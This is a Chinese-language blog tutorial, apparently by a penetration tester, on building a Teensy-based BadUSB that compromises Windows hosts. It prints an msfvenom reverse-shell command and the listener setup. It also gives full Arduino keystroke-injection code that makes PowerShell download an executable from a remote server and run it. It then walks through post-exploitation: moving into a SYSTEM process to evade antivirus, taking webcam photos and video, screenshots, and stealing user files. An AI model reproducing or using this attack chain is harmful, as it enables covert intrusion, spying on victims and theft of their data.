HID攻击之Badusb(全面的带你了解Badusb五种的花样玩法.)

文章出自JoCat QQ:1506610991 有渗透测试需求及商务合作请联系JoCatWFY@163.com

本文可能存在攻击性,请勿用于非法用途。仅用于技术交流,一切责任与本人无关,如有不足的地方希望指点

作者博客JoCatW.github.io

00x0 什么是Badusb?

  • 你可能见过这种
    timg1.jpg
  • 或者这种
    u_1928801367,4272028566_fm_26_gp_0.jpg
  • 还有下面这种
    badusb照片
    这些都是Badusb。

    badusb的起源

    BadUSB最早是在2014年的BlackHat安全会议上由研究人员JakobLell和Karsten Nohl提出并展示的。不同于其他的U盘病毒,它利用HID协议无需安装驱动就能进行交互的功能,通过模拟键盘、鼠标、网卡等设备,最终拿下Shell或者窃取敏感信息等。

    00x1什么是HID?

    HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。也就是说,这种攻击是通过模拟键盘和鼠标等计算机与人进行交互的硬件去发动攻击的.在模拟成为键盘后控制电脑执行内置语句.那么理论上来讲就没有可以破解这种攻击是杀毒软件,不过360是有这方面的防护的,比如变形虫,但是经实测360的变形虫并不能特别有效防御我们基于teensy的badusb,当防护功能检测到USB设备的可疑行为时,会通过弹窗对用户进行提醒,用户可根据情况自行决定信任USB设备或拦截可疑行为。某种意义上这也算防御.

    HID攻击分为很多种,例如Teensy和USB RUBBER DUCKY(usb橡皮鸭)

    我来分别介绍介绍两种不同攻击的优势与劣势

    Usb橡皮鸭它最初作为一个IT自动化的POC,通过嵌入式开发板实现的,后来它发展成为一个成熟的商业化按键注入攻击平台。USB橡皮鸭通过简单的脚本语言、强大的硬件以及出色的伪装能力,成功的成为了极客们必不可少的工具,十分的方便,但是它贵啊.HAK5网站上的大黄鸭更是动不动就几十美刀,不过其实有很多HACK5的工具完全可以自制.

    Teensy是一套完整的基于USB微控制器的开发系统,在占用极少资源的情况下可以实现多种多样的项目。所有的编程可以通过USB端口进行或者使用ISP接口进行编程的。多方便,而且它的体积就两个角硬币那么大,同时可以模拟多种硬件,还有多余的I/O口可以供极客们随意改装.它的价格也是十分的便宜.就20RMB就可以入手啦,作者这里用的是Teensy++2.0

    综合以上来讲,本片文章使用Teensy++2.0,usb大黄鸭如果有朋友想看我以后也会更新.

    00x2基于Teensy++2.0的Badusb的制作

    00x3 准备工作

    * 1.某宝购买一块Teensy++2.0

    * 2.一根mini-USB转USB的线(推荐使用较短的线或使用OTG转接头.)

    * 3.(可有可无)最好你要有一台有公网IP的VPS服务器用来下载木马.没有的话应该也可以用Github来代替

    * 4.CS或Kali中MSF的环境

    * 5.Teensy是可以使用Arduino自带的IDE来编辑的,不过需安装Teensyduino驱动

    Arduino下载地址(国内论坛)https://www.arduino.cn/thread-5838-1-1.html
    Arduino官方下载地址https://www.arduino.cc/en/Main/Software(不建议,慢到你怀疑人生.)
    Teensyduino驱动下载地址(官网,不推荐太慢了,不过是最新版,没有IDE版本的限制)https://www.pjrc.com/teensy/td_151/TeensyduinoInstall.exe
    作者百度云下载<速度会稍微快点,此版本截至2020年3月8日版本号为1.44>(此版本不是最新版,所以只能使用以下几个版本的IDE1.0.6/1.6.5-r5/1.8.1/1.8.5/1.8.6/1.8.7)
    https:/pan.baidu.com/s/1-lUFnScN7j8JVL1oOXGEPA提取码:8cte

下载完成后进行安装即可,安装时记得记住你的Arduino安装的地址!后面要用到!

在这里主要讲下Teensyduino驱动的安装方法

1.首先解压文件包
2.如图打开文件
1.png
3.点击Next
2.png

我这里是Windows10已经安装了相关的驱动,所以不需要重新安装

4.点击Next,在这里选择你Arduino安装的地址(注意这里有两种情况!)

3.1.png
如果你的情况如图所示,next不可点击,那么请你返回到Arduino下载的位置
下载和你对应的Teensyduino的version
点击问号我们可以发现
QQ截图20200307213050.png
1.44版本Teensyduino的驱动只能支持上面所提到的几个版本,所以只能使用上面几个版本的ArduinoIDE
当你下载完成后,出现的情况应该如图所示
3.2.png
5.我们点击Next继续,选择ALL之后点击Next
QQ截图20200307215042.png
6.等待进度条走完后,出现如图所示画面即代表你安装成功.
QQ截图20200307215120.png
至此我们的准备工作也已经做好了.

00x4/5 程序的编写与制作

我们在利用BadUSB去继续HID攻击时一般通过Cobalt Strike(简称CS)或MSF5去进行与受攻击的主机的连接和Shell反弹,在本篇文章中我们两者都会介绍.后面还有一些更骚的操作.

00x4.1利用MSF配合BadUSB进行攻击

什么是MSF?

MSF它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。MSF也可以轻松完成提权渗透,shell反弹等功能,是渗透测试人员不可或缺的工具。

在kali上利用MSF5生成木马.

注意!

新版kali在更新后(date:2020年3月8日),msf的bundler库的版本不是原来的库了,如图

QQ截图20200308155342.png
由于默认安装的bundler为最新版本2.1.4。msfconsole依赖的版本为1.17.3,所以需要安装旧版本。
执行如下命令 gem install bundler:1.17.3
但是当你执行后你会发现连接不上或者无法下载..
所以怎么办呢,作者经过搜索后发现了原因竟是GFW把站给墙了…
既然如此我们就需要更换网址了
解决方法如下

gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/  
gem sources -l https://gems.ruby-china.com

这样更换网址之后就可以使用gem install bundler:1.17.3
如果有的朋友依然连不上,就比如我,那么就要检查VM虚拟机或者是kali本地机子的网络设置了
可能是以下情况,输入curl https://gems.ruby-china.com 无法访问,那么你就需要改你的DNS设置了(在这里感谢Señor.ME)
QQ图片20200308173136.png
操作前的准备:

在设置里将Kali的上网模式设置成“桥接模式”。
阿里公共DNS(官网:http://www.alidns.com/):
233.5.5.5
233.6.6.6
或者是百度的DNS
然后用leafpad打开DNS配置文件
leafpad /etc/resolv.conf
将里面的内容改为
nameserver 223.5.5.5
nameserver 223.6.6.6
之后reboot就生效了

之后你再curl https://gems.ruby-china.com 就可以看到如图的情况了
QQ截图20200308173932.png
应该就ok了,如果还不行就找以前的iso重装吧,解决一切.

我们回到MSF生成木马的步骤来

  1. 打开Kali的命令行输入msfconsole,如图,现在的Kali已经更新到MSF5啦
    QQ截图20200309015202.png
  2. 再新建一个窗口,输入ifconfig或者是ip add 查看本地的IP
    QQ截图20200309015721.png
  3. 然后回到我们启动msf的命令行,输入生成木马的指令(windows系统)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -f exe -o xxx.exe

LHOST=后面的部分放上你本地的IP
LPORT=后面的部分放上你用于接受响应的端口
.exe前放上你所想要的文件名
而在我们这就应该是

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.134 LPORT=8888 -f exe -o 1.exe

如图
QQ截图20200309020502.png
4. 按下回车运行,并用vmtools复制到虚拟机外(vmtools不会安装的朋友就自己百度安装下)
QQ截图20200309020717.png
如图,已经提示生成完成,新建一个命令行找到文件并复制到桌面(其实一开始就可以直接在桌面运行msf)输入ls查看文件
QQ图片20200309020959.png
使用cp命令复制到桌面方便直接拖到虚拟机外
QQ截图20200309021424.png
这个时候你在虚拟机外就可以看见我们所生成的木马文件了(1.exe)
QQ截图20200309021452.png
我们直接托到虚拟机外即可(BTW:这里博主因为Vm-tools的关系直接换到2019.4版本了,2019.4的GNOME版本还是很好看滴.)

这样我们的木马就生成完成了

我们接下来进入监听模块

1.输入msfconsole打开msf
2.输入use exploit/multi/handler打开监听模块
QQ截图20200309194641.png
3.输入set payload windows/meterpreter/reverse_tcp设置payload
QQ截图20200310060810.png
4.输入show options 查看需要设置的参数
QQ截图20200309195927.png
5.分别设置监听端口与ip(设置LHOST、LPORT参数)
set lhost 192.168.31.143 (这里填写你自己的ip)
set lport 8888
QQ截图20200309200349.png
再输入show options 已经可以看到所有的参数都设置好了
QQ截图20200309200456.png
输入run或是exploit开始监听
QQ截图20200309200701.png
然后我们KALI环境就配置好了,现在的问题就是怎么利用Badusb让受攻击主机执行木马
(如果我们在虚拟机外点击木马,我们的KALI应该是可以收到响应的,如图。一会我也会教大家怎么做后渗透与清理战场.
QQ截图20200310061446.png

好了让我们来编写,并上传我们的badusb的程序吧.

  1. 首先打开Arduino的IDE
    QQ截图20200310062142.png

  2. 然后在(工具>开发板)中选择Teensy++2.0
    在(工具>USB Type)中选择Serial+Keyboard+Mouse+Joystick(这个可以按需求来)
    剩下的两个CPU Speed和Keyboard Layout一般不需要你修改
    把COM口选成你对应的COM口,在(右键此电脑>设备管理器>端口)中找

  3. 接下来就可以编写我们的用Powershell下载木马的程序了,这里作者用的是远程服务器下载木马

    ### 程序如下
    ```
    #include <Keyboard.h>
    void setup() {
    Keyboard.begin();//开始键盘通讯
    delay(10000);//延时单位是ms,做测试可以调长一点方便你利用这个时间来下载程序.不然你会哭的.测试完后就可以改为1000ms了
    Keyboard.press(KEY_LEFT_GUI);//按下win键
    delay(200);//延时500ms,这里的所有延时都要根据实际情况来讲,太短有可能使程序运行失败
    Keyboard.press('r');//按下r键
    delay(700);//延时500ms
    Keyboard.release(KEY_LEFT_GUI);//松开win键
    Keyboard.release('r');//松开r键
    Keyboard.press(KEY_CAPS_LOCK);//按下大写键
    Keyboard.release(KEY_CAPS_LOCK);//松开大写键
    delay(700);//延时500ms
    Keyboard.println("powershell");//输入powershell
    delay(700);//延时500ms
    Keyboard.press(KEY_RETURN);//按下回车
    Keyboard.release(KEY_RETURN);//松开回车
    delay(700);//延时500ms
    Keyboard.press(KEY_CAPS_LOCK);//按下大写键
    Keyboard.release(KEY_CAPS_LOCK);//松开大写键
    delay(700);//延时500ms
    Keyboard.println("powershell (new-object System.Net.WebClient).DownloadFile( 'http://xxx.xxx.xxx.xxx/1.exe','D:\\1.exe')");
    //上面这条语句是利用powershell下载木马的语句,按照我的标注来就行了,xxx.exe是你自己木马的名字
    Keyboard.press(KEY_RETURN);//按下回车
    Keyboard.release(KEY_RETURN);//松开回车
    Keyboard.println("START D:\\1.exe");//执行你下载的文件
    delay(300);//延时300ms
    Keyboard.press(KEY_RETURN);//按下回车
    Keyboard.release(KEY_RETURN);//松开回车
    delay(200);//延时200ms
    Keyboard.end();//结束键盘通讯
    }

    void loop()//循环
    {
    }

    这样我们的badusb的程序就写完啦,简单来说就是利用powershell下载程序并打开.

    然后我们就可以开始烧录程序了.

    当然我们就需要用ftp将木马上传至你的服务器(这个我就不教了.太基础了下个Xftp拖进去就行)
    然后我们的服务器需要开启httpd,并把xxx.exe放置到服务器访问页面根目录(方便我们下载)
    当你上传完并把程序做好相应的修改后,我们就可以来烧录啦!

  4. 打开Arduino程序

  5. 将我的代码复制进去,并做相应修改.

  6. 如图,先点击验证,再点击上传
    QQ图片20200311071527.png

  7. 按下板子上的按钮,重启并烧录主板
    timg1.jpg

  8. 当你在Arduino端按下”烧录键”之后你会看到我们的Teensyduino弹出
    QQ截图20200311072314.png
    这是提示让你按下按键进入编程模式

  9. Teensyduino功能介绍如图所示
    QQ截图20200311072218.png

  10. 当你看到”Reboot OK”时,你的程序就烧录好啦.
    QQ截图20200311072333.png

    现在你就可以拔下主板,然后重新插入,看看我们制作的成果啦.

    那我们现在就可以开始利用MSF后渗透了

    QQ截图20200311080524.png

  11. 先getpid查看我们的shell所在的进程,为转移进程做准备
    QQ截图20200311091935.png

  12. 转移进程,这一步分为两种方法(自动转移进程和手动转移进程)
    先ps查看进程.
    QQ截图20200311093959.png
    我们也可以根据PID号找到我们的进程
    QQ截图20200311094041.png
    手动迁移进程的命令migrate PID(手动迁移进程需要注意权限,最好能迁移到system权限的进程上.)
    自动迁移进程的命令run post/windows/manage/migrate(脚本帮你自动选择比较方便)
    如图
    QQ截图20200311094734.png
    这样我们的进程就迁移到了pid为20424的进程上,原来的进程也被关闭了(此时杀毒软件已经扫不出来了,在我们没有迁移进程前,我们的进程会被识别成后门) ~

QQ截图20200311095934.png
QQ截图20200311100424.png
可以看到我们的进程被转移到了记事本这个程序上,还有system权限,现在我们就已经完成了进程转移的工作啦.
3. 判断目标靶机是否为虚拟机run post/windows/gather/checkvm 如图
QQ截图20200311102423.png
我这边是用的物理机,所以提示也是物理机。如果是虚拟机那么就要小心是蜜罐了.
4. 获得主机信息sysinfo
QQ截图20200311102643.png
这样就可以看见我们的主机的情况了.
5. 我们可以使用route命令查看靶机的路由表
QQ截图20200311104125.png
也可以进行进一步的内网渗透.
6. 现在我们可以留个后门,也可以先放到后台
比如输入background就可以把会话放到后台,在输入(sessions -i 数字)调用回来
QQ截图20200312082836.png
7. 我们还可以去打开摄像头之类的,也可以盗取用户文件,那我们这里就以盗取一张照片结束吧.
就这张啦.
QQ截图20200312083201.png
我们可以先输入shell进入windows下的cmd,然后切换到指定目录,再用dir列举.
最后利用download语句就ok啦
QQ截图20200312084009.png
8. 再分享几个有意思的操作,我们的后渗透就介绍到这里.
8.1webcam_list #查看靶机是否有摄像头
webcam_snap #打开靶机摄像头拍一张照片
webcam_stream #开启直播模式,抓取视频
上面三个容易被拦截.下面两个是不会的
8.2upload # 上传文件到目标机上
download # 下载文件到本机上
8.3 screenshot截屏
到这我们基础的badusb配合MSF就完成了,下一篇我会给大家介绍关于Badusb配合CS的用法